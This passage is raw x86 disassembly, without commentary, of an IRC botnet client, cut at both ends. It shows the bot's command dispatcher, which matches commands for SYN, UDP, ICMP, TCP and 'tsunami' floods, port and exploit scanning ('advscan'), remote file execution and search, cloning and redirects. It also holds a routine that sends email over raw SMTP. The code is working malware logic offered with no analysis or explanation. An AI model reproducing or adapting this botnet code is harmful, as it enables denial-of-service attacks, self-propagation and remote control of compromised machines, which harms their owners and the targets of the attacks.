eax push offset dword_411CF4 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 2660DCFh push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 26604A7h jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 2660DCFh push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 26604A7h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 2660DCFh push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 26604A7h jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2660DCFh push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call near ptr 26604A7h nop jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j call near ptr 2660DCFh nop push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx call near ptr 266051Eh nop mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short 